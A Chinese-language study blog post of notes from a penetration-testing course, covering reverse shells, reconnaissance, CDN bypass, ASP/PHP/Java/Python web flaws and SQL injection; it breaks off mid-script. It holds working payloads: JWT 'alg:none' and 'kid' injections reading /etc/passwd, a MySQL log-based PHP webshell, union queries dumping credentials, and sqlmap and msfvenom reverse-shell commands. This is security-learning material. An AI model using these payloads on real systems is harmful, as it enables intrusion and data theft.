2024全栈渗透学习笔记(一)

前提:在WEB安全方面的学习感到了瓶颈和迷茫,对WEB方向以外的知识存在欠缺,于是决定通过小迪的全栈渗透课程查漏补缺一下。

第一天:文件下载&反弹shell

PS.查询攻击方式名称(ATT&CK)https://attack.mitre.org

工具网站:(棱角)https://forum.ywhack.com/

文件下载

目的:解决无图形化界面&数据传输。

命令都可以在棱角上查询

Linux:wget curl python ruby perl java等

Windows:Powershell Certutil Bitsadmin msiexec mshta rund1132等

反弹shell

目的:解决数据回显&数据通讯。

应用情景:外部无法绕过防火墙访问内网。

具体命令可以用棱角设置。

内网 –> ip(内网可以向外部IP进行访问)

ip !–> 内网(防火墙原因使00外部IP不能访问内网)

反弹shell:当拿到一个内网机子的RCE(远程命令执行)时,可以通过RCE写一个反弹命令,弹一个shell攻击机,从而实现任意命令执行以及回显。

第二天:WEB应用架构&漏洞&HTTP

WEB应用架构

WEB应用组成角色功能架构:开发语言、程序源码、中间件容器、数据库类型、服务器操作系统、第三方软件。

开发语言:asp,php,aspx,jsp,javapython,ruby,go,htmljavascript等。

程序源码:开发语言分类、应用类型分类、开源cms分类、开发框架分类。

中间件容器IISApacheNginxTomcat,Weblogic,Jboos,glasshfish等。

数据库类型AccessMysql,Mssql,Oracle,db2,Sybase,RedisMongoDB等。

服务器操作系统:Windows系列,Linux系列,Mac系列等。

第三方软件phpmyadmin,vs-ftpd,VNC,ELK,Openssh等。

常见WEB应用安全漏洞分类

SQL注入,文件安全,RCE执行,XSS跨站,CSRF/SSRF/CRLF,反序列化,逻辑越权,未授权访问,XXE/XML,弱口令等。

HTTP数据包

PS.学习HTTP数据包时建议配合Burpsuit抓包来理解。

请求数据包(Request):请求行【方法字段(GET,POST,HEAD,PUT,DELETE),URL字段,HTTP版本字段】,首部行,实体体。

响应包(Response):状态行(状态码),首部行,实体体。

第三天:抓包&封包

PS.不同对象采用不同抓包封包技术。

抓包的目的:将看不见的东西转成能看见的东西。

相关工具抓取HTTPS数据包需要安装证书,链接如下:

Charles:https://blog.csdn.net/weixin_45459427/article/details/108393878

Fiddler:https://blog.csdn.net/weixin_45043349/article/details/120088449

Burpsuitehttps://blog.csdn.net/qq_36658099/article/details/81487491

基于网络接口抓包

WireShark & 科来网络分析系统 & TCPDump设置网络接口(网卡)进行抓包。

基于WEB应用站点抓包

通过浏览器查看元素进行监听。

基于数据协议抓包-HTTP/S & TCP & UDP

基于应用对象抓包-APP & 小程序 & PC_UI

APP & 小程序:Burpsuite抓包需要让程序设定代理,微信小程序不能设置代理,所以抓不了微信小程序的包(可以通过模拟器登录微信来抓包或者换用Charles、Fidder)。

如果不是抓取WEB相关协议数据包,则Charles、Fidder、Burpsuite则没有用,应改用WireShark(WIN or Linux)or 科来网络分析系统(Windows)or TCPDump(Linux)进行全局协议抓包。

基于系统使用抓包-手机模拟器 & Win & Linux

基于应用对象封包-WPE动作数据包重放通讯

有些APP不走WEB协议,Burpsuite等软件抓不了。

通过WPE或者其它的封包监听工具可以抓取应用中操作的数据包,从而判断与该功能或程序相关的IP、端口。

第四天:资产架构&番外安全&考虑阻碍

PS.这一块的学习是结合自己平时做渗透测试的经验来学,即从拿到一个目标域名开始产生渗透的目标和思路。

资产架构(针对目标网站)

WEB单个源码指向安全

单个网站只有一个程序,则对该程序进行测试(若为静态网页,一般不存在漏洞,有功能才有漏洞)。

WEB多个目录源码安全

单个网站可能存在多个目录,每个目录对应一个程序。分别对各个目录进行测试。

WEB多个端口源码安全

单个网站可能存在多个端口,不同端口对应不同程序。

服务器架设多个站点安全

一个服务器可以设置多个域名解析不同域名经过DNS解析可以指向同一个ip。通过FOFA搜索引擎https://en.fofa.info/)可以搜索一个ip下存在的多个站点或子域名,也可以搜索出一个域名相关的子域名、同一服务器下的其它域名。确认所有站点后分别进行测试。(关于fofa引擎的用法可以另外查找学习)

架设第三方插件接口安全

WEB源码插件:WEB源码中含有的插件。

WEB应用插件:例如phpmyadmin,用于管理员便捷管理数据库,但也方便了攻击者攻击数据库。

服务器架设多个应用安全

服务器应用:例如SSH、FTP可能存在弱密码或社工。

番外安全(针对网站所在服务器)

基于域名解析安全

通过站长之家https://tool.chinaz.com/)等工具查询域名对应的服务商(如阿里云)和其他相关的网站报备信息,通过爆破或社工等方式进入域名管理平台 (阿里云平台)从而控制网站。

基于服务器本身安全

利用服务器本身存在的系统版本漏洞控制服务器,从而控制网站。

基于服务商信息安全

查找服务器的购置平台,通过爆破或社工等方式进入服务器管理平台 (阿里云平台)从而控制网站。

基于管理个人的安全

搜集网站站主或管理员的个人信息,通过社工方式或弱密码获取网站的控制台。

考虑阻碍

站库分离

网站数据库放置在不同的服务器。若数据库设置仅网站服务器可以访问,则无法直接访问和测试数据库。

CDN服务

访问到的网页源自于附近的CDN节点的缓存,没有找到真实的服务器ip地址。需要越过CDN获取服务器ip。

负载均衡服务

用多台服务器负责一个站点的服务,防止负载过大。即使攻击成功后也可能只拿到了备用服务器,没有找到目标机器及目标数据。

WAF应用防火墙

阻止SQL注入、XSS、文件上传漏洞等针对网站的攻击。

主机防护防火墙

阻止木马连接、非法访问、后渗透等针对服务器的攻击。

第五天:信息收集(一)

技术概要:CMS识别,端口扫描,CDN绕过,源码获取,子域名查询,WAF识别,负载均衡识别

线上工具集: http://coolaf.com

信息打点-WEB架构篇

  • 打点-WEB架构:语言&中间件&数据库&系统等(可抓包查看或工具扫描)
  • 打点-WEB源码:CMS开源&闭源售卖&自主研发等(可根据网站类型猜测)
  • 打点-WEB源码获取:泄露安全&资源监控&其他
  • 打点-WEB域名:子域名&相似域名&IP反查域名(fofa)&旁注

弄清楚WEB架构的类型版本后就可以搜索、利用已知版本漏洞(若存在)或者对源码进行代码审计(较困难)

在互站网(http://huzhan.com)可以根据信息找公开售卖的源码。

信息打点-资产泄露篇

PS.遇事不决dirsearch开扫。

CMS指纹识别源码获取

利用云悉指纹识别平台:https://www.yunsee.cn/

备份泄露

可能存在备份文件没有放在网站目录更高级处,而是直接放在了网站目录中导致他人可以直接访问。通过dirsearch等目录扫描工具可以扫一下有没有泄露的文件或压缩包。

Git泄露

Git是一个开源分布式版本控制系统,执行git init初始化目录的时候会在当前目录下创建一个.git目录用于记录代码的变更记录。发布代码时如果没把.git目录删除就直接发布在服务器上,攻击者可通过它来恢复源代码。

发现网站目录下有.git文件泄露时用工具可能从中获取网站源码。

利用工具-GitHackhttps://github.com/lijiejie/GitHack

用法示例:

GitHack.py http://www.openssl.org/.git/

SVN泄露

SVN是一个开放源代码的版本控制系统。使用SVN管理本地代码时,会自动生成隐藏文件夹.svn,其中包含源代码信息。网站管理员在发布代码时,若没有使用“导出”功能,而是直接复制代码文件到服务器上,会使.svn隐藏文件夹暴露于外网环境。利用‘.svn/entries’文件可以获取到服务器源码。

利用工具-SvnHackhttps://github,com/callmefeifei/SvnHack

DS_Store泄露

.DS_Store是Mac下Finder用来保存如何展示“文件/文件夹”的数据文件,每个文件夹下对应一个。若将.DS_Store部署到服务器,可能造成文件目录结构泄露。

利用工具-ds_store_exphttps://github.com/lijiejie/ds_store_exp

SWP泄露

swp即swap文件,在编辑文件时产生的临时隐藏文件,如果程序正常退出则会自动删除,若意外退出就会保留,文件名为.[filename].swp

直接访问.swp文件,下载后删掉末尾的.swp即可获得源码。

composer.json文件

PHP环境用于记录网站框架的配置文件,若存在则直接访问/compser.json可以获取一些网站框架信息和CMS信息。

GITHUB泄露(社工思路)

根据网站用户信息,在github上搜索相关账号,检查是否有网站源码公开。

可以用脚本工具对目标Github账户进行监控,一有更新就能知道。

其他

关于更详细的WEB源码泄露可参考:
常见的Web源码泄漏漏洞及其利用 – SecPulse.COM | 安全脉搏

第六天:信息收集(二)

信息打点-系统篇

获取网络信息-服务厂商&网络架构

查询网站域名、服务器的提供商;查询网络架构,判断目标服务器是外网服务器还是架设在内网的服务器(内网映射)。

利用旁注(同服务器下不同WEB应用查询技术)查找统一IP服务器下存在的其他网站(即IP反查)。

获取服务信息-应用协议&内网资产

用工具扫描目标服务器端口,收集相关的WEB应用信息(对应的协议服务)并查询相关可利用的漏洞。

扫描服务器所处网段信息,把C网段中其余存活主机(1-255)列为备用目标。若目标服务器找不到利用点,可以尝试夺取内网中其他主机,然后进行横向移动、内网渗透。

获取阻碍信息-CDN&WAF&均衡负载&防火墙

CDN识别:利用ping工具(站长之家)检查是否存在多个响应ip从而判断是否存在CDN。

WAF识别:1.通过图片识别WAF;2.利用工具识别WAF(不一定能识别到自行开发的WAF)。

WAF识别工具-wafw00f(WEB应用防火墙识别):https://github.com/EnableSecurity/wafw00f

也可使用Kali自带工具如Nmap(较慢)、Masscan(较快)、lbd(loading balance dective负载均衡检测)。

服务器防火墙识别一般用在内网识别。

信息打点-CDN绕过篇

PS.脚本工具所得的IP都有可能是假的真实IP。

遗留文件&漏洞利用

网站可能泄露出phpinfo文件,通过访问phpinfo会接到服务器的正向连接,从而在phpinfo界面得到服务器真实ip。

SSRF漏洞:通过SSRF漏洞(若存在)使目标服务器反向连接到攻击机的指定端口(连接到攻击机的WEB服务),攻击机监听指定端口(攻击机在指定端口开设一个WEB服务,例如http服务)从而得到目标服务器的真实IP(原理类似反弹shell)。

子域名查询

部分网站可能只给主域名配置了CDN,其子域名可能没有CDN,而子域名可能和主域名解析到同一个主机。所以查询子域名的地址可能得到目标网站的真实IP。

接口查询国外访问

部分网站可能只给域名配置了国内CDN,只有国内主机访问网站时会使用CDN。利用国外主机进行ping检测可能直接得到真实IP。在线工具:https://tools.ipip.net/cdn.php

主动邮件配合备案

部分网站可能没有给邮件服务器配置CDN。可以通过让服务器发送邮件给自己从而得到真实IP(大概率);然后配合网站的备案信息(如备案机关所在地),比对两者的信息进一步确认IP的真实性。

在线工具查找真实IP

利用在线工具(https://get-site-ip.com) 查找目标网站的真实IP(有概率错误)。

全网扫描FuckCDN

利用在线工具FuckCDN(https://github.com/Tai7sy/fuckcdn)配置关键词、要扫描的主机或网段,检测可能藏在其中的真实IP。

CDN绕过

通过配置Windows的hosts文件( C:\Windows\System32\drivers\etc )或Linux下的hosts文件(/etc/hosts),添加对目标网站域名的解析,使其域名解析指向之前手段得到的真实IP从而避开CDN。

第七天:WEB攻防(一)

WEB攻防-ASP安全

ps.如今ASP已经逐渐淡出安全视野,用处较少。

ASP常见服务器搭建组合:Windows(系统)&IIS(中间件)&ASP(语言)&Access(数据库);主要从IIS&ASP入手。

ASP-数据库-MDB默认下载

Access数据库一般后缀名为asp、asa、mdb,其中mdb文件可被下载。mdb文件放在网站目录下。若配置网站时没有修改默认数据库路径、文件名,则可以通过默认路径下载数据库文件。例如:访问192.168.46.160/database/powereasy2006.db,获取到数据库文件。也可以通过查看相关源码了解其他文件的默认路径。

asp、asa文件默认设置调用asp.dll文件进行解析,而mdb文件没有设置默认解析文件,因此可以通过访问直接下载mdb文件。

ASP一般搭配Access数据库使用,所以有可能存在相关漏洞。

ASP-数据库-后门连接

若数据库文件为asp(本质是数据库文件,改为mdb后缀即可查看内容),可以尝试往数据库写入后门代码(例如留言板-如果可以的话),其中后门代码可能需先经过解析编码。

ASP-中间件-IIS短文件名漏洞

IIS短文件名漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(〜)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

通过相关漏洞利用工具可以得到网站后台结构,效果和dirsearch目录扫描工具相似但原理不同。dirsearch是利用字典爆破,而IIS短文件名漏洞是利用IIS的特性。

但这个漏洞有缺陷:只能获取文件名的前六位字符

具体影响版本和利用工具可自行搜索。

ASP-中间件-IIS文件上传解析漏洞

两种情况:

文件夹解析漏洞

IIS-5.x&6.0下,对于目录名称为“xxx.asp”目录下的任何内容包括“xxx.jpg”图片文件都会被当作asp文件解析。所以若可以控制在服务器上创建的目录名称(有些网站支持用户自己创建目录),即使上传的是图片也可以实现木马上传、后门连接。

分号截断漏洞

IIS-6.0下会将“1.asp;jpg”当作asp文件解析。原因:文件扩展名以最后一个“.”后面内容为依据,所以在网站过滤程序中被理解为图片。而在IIS中会认为分号“;”即是结尾,后面的内容会被截断。

WEB攻防-ASPX安全(.NET)

.aspx是ASP.NET 页面的扩展名。它无非是在静态HTML网页里面嵌入了动态的指令(这些动态指令是由各种脚本语言编写的,是由IIS服务器上的脚本引擎来执行的)而已。如果浏览器请求某张 ASP.NET 页面,那么在把结果发回浏览器之前,服务器首先会处理页面中的可执行代码(即,脚本语言代码 )。

.NET是微软开发的语言框架,通常用在IIS上,关键代码封装到DLL文件中,便于在别的文件开发中进行调用(类似java中的jar包)。

.NET项目-DLL文件反编译指向

反编译工具:ILSpy

aspx文件下的Inherits指明了调用的DLL文件。若aspx下代码明显不能满足页面呈现出的功能,则可以在DLL文件反编译后寻找调用的DLL,进行代码审计。

.NET项目-配置调试&信息泄露

web.config(网站配置文件)下有一个配置项<customErrors mode=”状态”>。若状态为Off,则当网站出现报错时将按默认方式报出错误信息(可能报出报错的源代码、.NET版本、文件自身路径);若状态为On(报错方式由开发者自定义)则按开发者自定义的方式进行报错处理,而开发者没有进行自定义的话将会报出源代码、文件路径,造成信息泄露,危害不大

.NET项目-未授权访问漏洞

网站判断用户身份的两个思路:(后台本身含有多个功能文件页面)

  1. 在每个文件中添加判断代码
  2. 创建一个文件专门用来判断身份,其他文件包含调用它

于是有几个寻找未授权访问漏洞的思路:(白盒测试)

  1. 寻找没有验证代码或没有包含调用‘验证代码文件’的文件
  2. 跟踪检测‘验证代码文件’是否可以绕过(关注Inherits标签)

若是在黑盒测试则可以通过写脚本工具找出‘验证代码文件’以及没有调用‘验证代码文件’的文件(例如通过判断Inherits的值)。

第八天:WEB攻防(二)

WEB攻防-PHP安全

过滤函数缺陷绕过

==与===

=:赋值

==:对比(弱类型比较,不会比较类型);$a = 1,$b = 1ad,$a == $b成立

===对比(会比较类型);

MD5
if($_GET['name'] != $_GET['password']){
    if(MD5($_GET['name']) == MD5($_GET['password'])){
        echo $flag;
    }
    echo 'Wrong';
}

两种方法:

1.MD5(‘QNKCDZO’)=0e8304…..;MD5(‘240610708’)=0e4620….;(MD5碰撞,限==弱比较);

2.[url]/?name[]=1&password[]=2(数组绕过,弱、强比较皆可)MD5无法处理数组,会返回NULL值,NULL == NULL,NULL === NULL,都成立。

intval

intval( )用于获取变量的整数值:intval(4.2)=4;其它进制会默认转为十进制。

strpos

strpos( )用于查找a字符在b字符中出现的位置;若目标数值为666可构造?num=%0a666。(利用%0a换行符进行绕过)

in_array

从数组中找匹配项,参数选项strict(关注点)为TRUE则会比较类型。

preg_match

执行正则表达式,用于字符串匹配;

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/0-9]/",$num)){
        die("Wrong");
    }
    if(intval($num)){
        echo flag;
    }
}

preg_match只能处理字符串,不能处理数组,所以也能数组绕过:构造 ?num[]=1。

str_replace

最简单的一个过滤:匹配到目标字符则替换成指定字符;

$sql = $_GET['s'];
$sql = str_replace('select','',$sql);
echo $sql;

双写绕过:?sql=seselectlect * from ….;原因:str_replace不可迭代过滤,只能过滤一次。

WEB攻防-JAVA安全

PS.在JavaWeb测试中,大部分安全问题需要从源码中分析各种依赖和路径,因此黑盒测试是很困难的。

WebGoat8靶场https://github.com/WebGoat/WebGoat

靶场搭建:java.exe -jar webgoat-server-8.1.0.jar –server.port=[服务端口]

java把源代码写到jar包中,审计前将jar包在IDEA中解压打开。

JavaWeb常见安全及代码逻辑

目录遍历&身份验证&逻辑&JWT

目录遍历

想办法绕过对‘../’的过滤实现目录遍历

逻辑漏洞

接收键名key键值value并进行判断。一般固定接收键名(安全),若不固定而是接收键名与键值进行判断,则可以通过构造不存在的键名并让键值为空(两种情况:因为原数据库或变量不存在的键名,其键值将为空,与传入的键值相同;原数据库或变量不存在的键名,与传入值比较时默认为正确)进行绕过。

JWT令牌

Json Web Token令牌,用于在JavaWeb应用中验证用户身份,由headerpayloadsignature三部分组成。

header:固定包含算法和token类型,对此json进行base64url加密。

//示例
{
    "alg" : "HS256",
    "typ" : "JWT"
}

payload:数据部分,对此json进行base64url加密。

//示例
{
    "sub" : "123456",
    "name" : "John Doe",
    "iat" : 151624213
    ...
}

signature:将前两段base密文通过’.’拼接起来,然后对其进行hs256加密,再然后对hs256密文进行base64url加密,最终得到signature。

siganature = base64url(HMACSHA256(base64UrlEncode(header)+"."+base64UrlEncode(payload),[密钥]))

将三部分通过“.”连接得到完整的JWT。

JWT攻击:先利用jwt.io网站在线工具进行解密获得令牌内容(得不到第三部分的密钥),对其修改后再重新生成新JWT令牌(即令牌伪造)。由于缺少第三部分的密钥,无法伪造第三部分,因此不能直接伪造令牌。有两种思路:

第一种:修改第一部分header的加密方式为空值即”alg” : “none”,使第三部分的伪造不需要密钥,但这种方式需要后台配置文件支持加密方式为空(罕见)。

//将"alg"的键值改为"none"
{
    "alg" : "none",
    "typ" : "JWT"
}

第二种:根据已有的令牌第三部分中的值对比header、payload的base值(即原文)进行爆破得到密钥。学过密码学的话,就会觉得爆破思路很基础了:把爆破用的字典中的值作为密钥,加密得到signature,若与原signature相同则得到正确密钥。爆破的关键在于字典够不够强以及耗时,若密钥是强密钥且位数高,那么爆破几乎不可能实现。(这一拳,百年密码学历史的功夫,你顶的住吗!?)

JWT造成任意文件读取漏洞

若JWT第一部分存在参数kid(用于读取密钥文件),由于参数对用户来说可控,如果没有对kid值进行过滤将可能导致任意文件读取。

//示例
{
    "alg" : "HS256",
    "typ" : "JWT",
    "kid" : "/home/jwt/.ssh/pem"
    //修改kid值实现任意文件读取
    //"kid" : "/etc/passwd"
}
JWT造成SQL注入

kid也可以从数据库中提取数据,可能造成SQL注入

//示例
{
    "alg" : "HS256",
    "typ" : "JWT",
    "kid" : "key111 || union select .....[SQL注入语句]"
}
JWT造成命令注入

kid参数过滤不严也可能出现命令注入,但利用条件较严苛。例如,若服务器后端使用Ruby,在读取密钥文件时使用了open函数,通过构造参数可能造成命令注入。

//示例
{
    "alg" : "HS256",
    "typ" : "JWT",
    "kid" : "/path/to/key_file|whoami[命令]"
}

对于其它语言也可能存在,例如php,如果代码中使用execsystem来读取密钥文件,那么也可以造成命令注入(现实中出现可能较小,但CTF说不定会有)。

访问控制

隐藏属性:前端页面的显示限制。有些返回包中的属性是开发者不希望用户看到的,于是将其在前端页面中隐藏,但通过抓包看响应包可以看到。

组件安全

在实际测试中,Java代码本身的安全问题较少,更多的从Java组件入手。

尝试检测JavaWeb程序中用到的组件、版本及可以用到的对应漏洞。

一是看项目中带有的组件jar包判断有没有安全风险组件;二是看代码中声明包含的组件,并在代码中找到引用的位置。

牛逼点的就自己找组件源代码进行审计找漏洞。

WEB攻防-JavaScript安全

PS.小迪的JS课视频出现卡顿没法学,留到日后另外学习了再回来补。

JS开发的WEB应用和PHP、JAVA、. NET等区别在于即使没有源代码也可以通过浏览器查看源代码获取真实信息。所以对JS开发应用的测试属于白盒测试(默认有源码可参考)。

JS中存在变量和函数,当存在可控变量及函数调用时就可能存在漏洞。

原生JS安全

JS代码审计找漏洞。

JS开发框架安全

识别JS框架类别、版本并查找对应存在的漏洞。

常见安全问题

WEB攻防-Python安全

PYC文件反编译

.pyc文件是.py文件编译后生成的字节码文件(byte code),pyc文件经过解释器生成机器码后交给计算机运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后都会重新生成pyc文件。

利用工具(https://github.com/wibiti/uncompyle2)或在线反编译平台(https://tool.lu/pyc/)(https://tools.bugscaner.com/decompyle)对pyc文件进行反编译得到python源代码后进行审计。

SSTI模版注入

SSTI简介:漏洞成因是服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模版内容的一部分,模版引擎在进行目标编译渲染过程中,执行了用户插入的可以破坏模版的语句,造成敏感信息泄露、代码执行,甚至GetShell。

检测SSTI:判断输入的数据是否会被浏览器利用当前脚本语言调用、解析和执行。例如Python的{{2*2}}若结果为4则说明输入会被调用、解析和执行。

漏洞常存在于模版引用的地方(如404错误页面)、存在于数据接收引用的地方(如模版解析获取参数数据)。

PythonWeb-SSTI模版注入(CTF考点)

典型的模版解析函数:render_template_string( ),看到则大概率可以判断模版注入点;接着判断过滤和绕过方式。

过滤括号'(‘,’)’

可以考虑利用url__for这种无需括号包裹变量的函数,构造语句表示包含flag的文件的路径:{{url_for.__globals__[‘current_app’].config}}或者更详细的:{{url_for.__globals__[‘current_app’].config[‘FLAG’]}}。此处的current_app表示当前web应用config文件是根据题目信息得到的flag存放处。也可以{{url_for.__globals__}}慢慢找(数据量少的话)。

PS.黑盒测试中很难找到SSTI注入点,因此在CTF中多见于代码审计题。现实测试中多为黑盒测试环境,难以发现并利用。

第九天:WEB攻防-通用漏洞-SQL注入

SQL注入漏洞是服务器在处理SQL语句时错误地拼接用户提交的参数,破坏了原有的SQL执行逻辑,导致攻击者可部分或完全掌控SQL语句执行效果的安全问题。攻击者在原有的数据库执行语句中,通过引入闭合符号保证原有语法正确,并引入带有新逻辑的查询语句加以执行,从而实现额外的查询效果。

漏洞利用首要条件:存在可控变量且会被解析、执行。

SQL注入的语句以及类别,建议在实战中练习记忆,因为SQL注入语句根据不同数据库、语言都会产生不同,死记硬背是没用的,关键是理解数据库操作语句的原理(建议是好好学完数据库这门课),因此这次学习笔记不做过多的详细语句的记录。

学手工注入的同时也要熟悉自动化脚本工具SqlMap的使用。

WEB攻防-SQL注入-Access数据库

Access数据库是独立存在的,结构如下:

数据库
表名
列名
数据

ASP+Access:由于Access数据库特性(无高权限注入点,无information_schema,只能暴力猜解)导致针对Access数据库的SQL注入需要借助字典去猜解表名、列名,若出现猜解不到,可以自定义社工字典或采用偏移注入。

偏移注入(报错显示)是用于解决表名已知而列名未知的情况。具体做法:通过联合注入”union select 1,2,…,n,* from [表名]”测出列数,然后在网上搜Access偏移注入的n级偏移语句进行套用。

WEB攻防-SQL注入-Mysql数据库

Mysql数据库是统一管理的,结构如下:(可以存在多个数据库

数据库A(网站A)
表名
列名
数据
数据库B(网站B)
数据库C(网站C)

为了网站和数据库的安全性,Mysql的用户有分等级(内置有root最高用户),划分等级,每个用户对应一个数据库,保证数据库之间不关联,从而不影响其它数据库运行。

Mysql注入攻击前的准备

Mysql注入攻击两个思路:

  1. 非ROOT用户的注入攻击:常规类猜解
  2. ROOT用户的注入攻击:文件读写操作,跨库查询注入

黑盒测试中可尝试用user( )查看当前用户权限,白盒测试中可在源码中看连接的用户。

Mysql5.0以上版本自带数据库名information_schema,其中存储了数据库下的数据库名及其表名、列名信息,通过先注入查询information_schema中的信息,可以比通过暴力查询更快得到目标数据库的信息。

  • information_schema:存储数据库下的表名、列名信息
  • information_schema:记录表名信息的表
  • information_schema:记录列名信息的表

因此关于Mysql注入前要判断的信息:

  1. 查询数据库版本-检查是否符合information_schema的查询-version( )
  2. 查询数据库用户-查询是否符合ROOT型注入-user( )
  3. 查询当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
  4. 查询数据库名-为后期猜解数据库下的表、列做准备-database( )

MYSQL-ROOT高权限读写注入

通过高权限注入点不只是可以拿到数据库数据,有可能可以升级对文件的读写操作(写一句话木马进文件从而得到WebShell)甚至实现命令执行-反弹shell从而获取WebShell。

#高权限读写注入示例
读取文件:union select 1,load_file('d:/w.txt'),3,4
写入文件:union select 1,'xxxx'3,4 into outfile 'd:/w.txt'
路径获取:phpinfo,报错,字典等

在Mysql中有一个配置文件my.ini,其中若设置了配置项secure-file-priv将会限制文件读写操作。例如secure-file-priv=c:/,则无法对D盘进行文件读写操作,只能在C盘进行文件读写操作;若secure-file-priv=NULL,则不允许读写;若secure-file-priv没有设置具体值,则不做限制。

在Mysql5.6.34版本以后,secure-file-priv的值默认为NULL,并且无法用sql语句进行修改。只能通过以下方式修改:

  • Windows:修改mysql.ini文件,在[mysqld]下添加条目secure_file_priv=,保存并重启mysql
  • Linux:在/etc/my.cnf的[mysqld]下添加local-infile=0

除此之外,依旧存在secure-file-priv的突破方式:日志记录。(注意:这个方法需要支持SQL执行环境,若没有则需要借助phpmyadmin-若存在-或其它能够直接连上数据库的方式进行绕过)

//在sql查询中尝试拼接以下语句
set global slow_query_log=1;//开启日志记录
set global slow_query_log_file='[shell路径]';//设置日志记录文件的路径
select '<?php eval($_GET['shell'])?>' or SLEEP(10);
//通过日志记录让目标把我们的木马自动写入到前面设置的日志记录文件,从而把日志文件当作我们的WebShell后门

WEB攻防-SQL注入-PostgreSQL数据库

先用order by语句测列数,然后用’null’来测显位:

//示例
//用"and 1=2"产生报错,给null加引号测试显位
?id=1 and 1=2 union select 'null',null,null,null //错误
?id=1 and 1=2 union select null,'null',null,null //正常
?id=1 and 1=2 union select null,null,'null',null //正常
?id=1 and 1=2 union select null,null,null,'null' //错误
//说明显位在2、3

尝试获取信息:

//示例
?id=1 and 1=2 union select null,version(),null,null //查版本
?id=1 and 1=2 union select null,current_user,null,null //查用户
?id=1 and 1=2 union select null,current_database(),null,null //查当前数据库名

查数据库名:

?id=1 and 1=2 union select null,string_agg(datname,','),null,null from pg_database

查表名:

?id=1 and 1=2 union select null,string_agg(tablename,','),null,null from pg_database where schemaname='public'
?id=1 and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

查列名:

?id=1 and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'

查数据:

?id=1 and 1=2 union all select null,username,password,null from manage

补充-查询DBA用户(在DBA用户下可以进行文件读写操作):

?id=1 and 1=2 union select null,string_agg(usename,','),null,null from pg_user where usesuper is true

WEB攻防-SQL注入-MSSQL数据库

sqlserver是微软开发,所以看到ASP.NET就可以联想到可能是用sqlserver。

先order by测列数,然后测显位:

?id=1 and 1=2 union select null,1,null,null
?id=1 and 1=2 union select null,null,'s',null

@@version 获取版本信息,db_name( ) 获取当前数据库名,user/system_user/current_user/user_name 获取当前用户名,@@SERVERNAME 获取服务器主机信息。

其余查询语句以及其它数据库的注入,到用时再搜吧,反正都大差不差,一念通万法。

WEB攻防-SQL注入-SQLMAP工具

学习参考文章:
1. sqlmap超详细笔记+思维导图 – bmjoker – 博客园 (cnblogs.com)

嫌这篇文章太长也可以常看一个学长的总结文章里关于sqlmap使用的部分:
SQL注入一命通关! – fushulingのblog

不支持对Nosql数据库的注入,需要另外找脚本工具。

常规流程

测试是否存在注入点
sqlmap -u [目标url(若有GET数据则带上)]
sqlmap -r [文件名]
//用于特定访问(例如登入后的注入点或其它特定请求包的注入),抓包把请求包放进文件里,可用’*’标记注入点
清除缓存
sqlmap -u [url] –purge

判断注入点权限
sqlmap -u [url] –privileges
//若存在高权限注入则可以直接尝试拿Shell

爆数据库名
sqlmap -u [url] –dba //爆所有数据库名
sqlmap -u [url] –current-db //爆当前数据库名

爆表名
sqlmap -u [url] –tables //爆所有数据库的所有表
sqlmap -u [url] –tables -D [数据库名] //爆指定数据库的表名

爆列名
sqlmap -u [url] –columns -T [表名] -D [数据库名]

爆内容
sqlmap -u [url] –dump -C [列名] -T [表名] -D [数据库名] //爆指定列内容
sqlmap -u [url] –dump -T [表名] -D[数据库名] //爆指定表全部内容

若存在高权限注入且支持读写操作和执行,则尝试拿Shell
sqlmap -u [url] –os //识别系统

sqlmap -u [url] –file-read [文件路径] //读取文件
将本地的test.txt内容写到目标的1.txt
sqlmap -u [url] –file-write d:/test/test.txt –file-dest /var/www/html/1.txt

sqlmap -u [url] –reg-read //读取win系统注册表

sqlmap -u [url] –os-cmd=[命令] //执行cmd命令
sqlmap -u [url] –os-shell //开启系统交互shell
//两种的回显都可能比较慢,所以还是弹个shell比较方便

反弹shell到msf上(需要先从msf创建一个Shell后门:msfvenom -p windows/meterpreter/reverse_http |host=[本机ip]|port=[设定端口] -f exe -o sql.exe)
sqlmap -u [url] –os-pwn –msf-path=[访问msf后门存放的路径]

Tamper脚本

不同数据传输类型的手注姿势

数字型语句
select * from xxx where id=$i
注入:?id=1 union select…–+

字符型语句
select * from xxx where name=’$s’
注入:?name=test’ order by 4–+ //闭合掉符号’

搜索型语句
select * from xxx where name like ‘%$s%’
注入:?search=test%’ union select…and ‘%’ =’ //闭合掉’%然后用and语句比较原语句的%’使其不影响注入语句的执行

格式化(表单)语句
select * from users where username='{$username}’
注入:json={“username”:”admin’ and 1=2 union select ….#”}
//$username只从键值中取,所以不需要闭合admin前面的”

Tamper脚本

有时候会出现编码(base64)甚至加密、格式化(json)来传输数据,直接用sqlmap可能无法正确识别注入点,所以可以用sqlmap配合自带的Tamper脚本来进行注入。

不同的数据库、数据类型用不同脚本,而脚本工具不会自动判断数据的类型、格式,所以还是要练好手注,才能人工判断好数据的类型,不然sqlmap也没法用好。

用法-用base64举例:

sqlmap -u [url] --tamper=base64encode.py //将payload进行编码

其余脚本可以在sqlmap目录下的tamper目录查找,对应用法可以百度。

有些网站会对一些符号进行转义,使我们的注入没法实现闭合。手注可以尝试宽字节注入:在会被转义的字符前加上%df;sqlmap可以使用Tamper脚本:–tamper=unmagicquotes.py

学过python了就可以自己尝试修改甚至写脚本了,确实不难,努力走出舒适圈,不能只甘当个脚本小子。

不同的请求方式

不同的请求方式、数据提交方式、语言对应不同的注入方式。手工注入则修改对应的注入点比如POST请求包的Body或Cookie,用sqlmap则修改参数比如:sqlmap -u [url] –data “name=admin&password=test”(以post方式提交数据),或者直接用-r配置数据包来跑。

WEB攻防-SQL注入-盲注攻击

布尔盲注

延时注入

报错注入

WEB攻防-SQL注入-其他注入

堆叠注入

二次注入


#网鼎杯2018-Unfinish二次注入脚本
import requests
import re
from time import sleep
from bs4 import BeautifulSoup
 
 
def flag():
    flag = ''
    url = '[url]'
    url1 = url + 'register.php'
    url2 = url + 'login.php'
    for i in range(1, 100):
        sleep(0.5)
